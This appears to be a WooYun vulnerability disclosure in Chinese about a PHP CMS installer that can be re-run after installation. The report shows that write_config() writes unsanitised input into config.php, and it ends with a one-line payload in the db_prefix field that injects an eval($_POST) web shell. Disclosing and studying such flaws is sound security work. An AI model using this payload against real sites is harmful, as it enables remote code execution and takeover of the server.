WooYun.org

漏洞文件:
install/install/controller/indexcontroller.class.php
public function index(){
if (is_file('./Data/install.lock')) {
header('Location: ./index.php');
exit;
}
虽然index方法是有判断系统是否安装也用了exit结束，但是这个不是类的初始化函数所以不影响其他方法的使用，下面有一个setconf方法,这个方法会把用户提交过来的数据（数据库连接配置）保存起来，在之后的finish_done方法中有一处write_config函数：
我们来看看write_config函数：
function write_config($config, $auth){
if(is_array($config)){
//读取配置内容
$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
//替换配置项
foreach ($config as $name => $value) {
$conf = str_replace("[{$name}]", $value, $conf);
$user = str_replace("[{$name}]", $value, $user);
}
//写入应用配置文件
file_put_contents('./App/Common/Conf/config.php', $conf);
file_put_contents('./App/User/Conf/config.php', $user);
return '';

}
}
直接写进配置文件。
/App/User/Conf/config.php这个配置文件比较简单所以就用这个把：
<?php
/**
* UCenter客户端配置文件
* 注意：该配置文件请使用常量方式定义
*/
define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '+%N)Oo,F;89z=0b"dX<JQk:!?]gLpr2Vjn/{6R~c'); //加密KEY
define('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin'); // 数据库连接，使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', 'zs_'); // 数据表前缀，使用Model方式调用API必须配置此项
根据配置文件我们可以提交：
db_prefix=');eval($_POST[wooyun]);//
之后就可以getshell了